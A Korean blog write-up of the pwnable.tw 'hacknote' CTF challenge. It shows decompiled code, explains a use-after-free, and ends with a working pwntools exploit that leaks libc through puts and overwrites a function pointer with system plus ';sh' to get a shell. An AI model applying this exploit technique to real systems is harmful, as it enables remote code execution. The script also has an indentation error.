ghkdtlwns987

[pwnable.tw] hacknote 본문

pwnable.tw

[pwnable.tw] hacknote

2020/03/31 2020. 12. 7. 01:58

요즘 시험공부 때문에, 글을 얼마 못썼다...

술먹고 새벽에 글을 쓰고 있는데, 과연... 글이 잘 써질지 모르겠다.

문제보니까 대충 힙 문제인거 같다.

 

main()

void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_8048956();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      sub_80487D4();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        sub_80488A5();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      sub_8048646();
    }
  }
}

 

 

1. add_content() 함수 -> 다음을 보면 malloc() 을 2번 호출해 주는데,

unsigned int sub_8048646()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = sub_804862B;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

 

바로 sub_0x0804862B 부분이다. 

여기서 중요하다고 하는 이유가, leak 을 해 줄 때, 0x0804862B 함수를 넣고, puts_got 의 주소를 넣어주면 

puts() 함수의 실제주소가 출력된다. 이유는 코드가 (*(const char **)(a+ 4) 를 호출하기 때문이다. 

 

2. delete_content() 함수

- delete_content() 함수를 보면 free() 를 두 번 해준다. 

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

바로 위의 코드이다. 만약 1을 입력했다면, heap(1), heap(2) 가 동시에 free() 된다고 보면 된다. 

따라서 double_free() 가 안된다. 

 

3. print_note() 함수 -> 여기서 if(ptr[v1]) 부분에서 포인터를 실행시키는 함수이다 보니,

EIP 를 컨트롤 할 수 있을 것이다. 

unsigned int sub_80488A5()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

 

 

마지막 4번은 exit() 함수를 실행시키는 코드이다. 

 

자! 그럼 gdb로 프로그램을 동적으로 분석해 보자.

위와 같이 bp 를 걸어주고 분석해보면 된다. 

UAF 가 터지므로 이를 유의하면서 exploit 하도록 하자.

 

exploit 하는걸 간단히 정리해보자면 

32byte 힙을 2개 선언하고, 

0, 1 번째 인덱스의 값을 free() 하고, 

add(8, p64(print_heap) + p64(puts_got))  =>  puts 실제 주소 출력으로 leak

 

그리고 delete(1) 로 1번째(0번째 아님) 곳에 값을 쓸 수 있는데, 

p32(system_addr) + ';sh' 를 넣어 주어야 하는데, 

왜 p32(system_addr) + ';sh' 를 넣어주나면

system() 함수를 p_note() 함수로 호출을 할 건데, 

p_note() 함수에서는 (*(void(__cdecl **)(void *))ptr[v1])(ptr[v1]); 으로 값을 채워주기 때문이다. 

(자세히 보면 add_note함수나 delete_note() 함수를 보더라도 malloc() 과 free() 를 2개씩 해 준다.) 

 

+github에 올리려고 했는데, 너무 어렵다.. 그냥 코드를 올리도록 하겠다.

from pwn import*
import argparse

context(arch='i386',os='linux')
context.log_level = 'debug'
# -h : option2 
context.terminal = ['tmux','splitw','-v']

parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help='-r -> remote')
parser.add_argument('-p','--process',action = 'store_true',help='-p -> attach')

args = parser.parse_args()

host = 'chall.pwnable.tw'
port = 10102


elf = ELF('./hacknote')

exit_got = elf.got['exit']
exit_plt = elf.plt['exit']
print_heap = 0x0804862b
puts_got = elf.got['puts']
if args.remote:
    r = remote(host,port)
    libc = ELF('./libc_32.so.6')

elif args.process:
    r = process('./hacknote')
    libc = elf.libc
else:
    breakpoint = {'my_bp':0x08048a43}
    #r = process('./hacknote', env = {'LD_PRELOAD' : './libc_32.so.6'})
    r = process('./hacknote')
    libc = elf.libc
    gdb.attach(r,'b*{}'.format(breakpoint['my_bp']))

def info_bp():
    log.info('program_start : 0x080489ef')
    log.info('Add_input : 0x08048a43')
    log.info('size,content input : ;0x08048a77')
    log.info('my_bp : 0x08048a43')

def add(size,content):
    r.sendlineafter('choice :','1')
    r.sendlineafter('size :',str(size))
        r.sendlineafter('Content :',str(content))

    log.info('add_pause')
    pause()

def delete(index):
    r.sendlineafter('choice :','2')
    r.sendlineafter('Index :',str(index))

    log.info('delete_pause')
    pause()

def p_note(index):
    r.sendlineafter('choice :','3')
    r.sendlineafter('Index :',str(index))

    log.info('print_pause')
    pause()

def exit(index):
    r.sendlineafter('choice :','4')

    log.info('exit_pause')
    pause()
def main():
    add(32,'A'*8)
    add(32,'B'*8)

    delete(0)
    delete(1)

    add(8,p32(print_heap) + p32(puts_got))

    p_note(0)
    leak = u32(r.recvuntil('\xf7')[-4:])
    log.info('leak = '+hex(leak))
    pause()

    libc_base = leak - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    log.info('libc_base = '+hex(libc_base))
    log.info('system_addr = '+hex(system_addr))
	
    delete(1)

    add(9,p32(system_addr) + ';sh')

    p_note(0)
    r.interactive()

if __name__ == '__main__':
    main()

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] applestore  (0) 2020.12.29
[pwnable.tw] silver_bullet  (0) 2020.12.24
[pwnable.tw] dubblesort  (0) 2020.11.22
[pwnable.tw] 3x17  (0) 2020.11.20
[pwnable.tw] calc  (0) 2020.11.18
Comments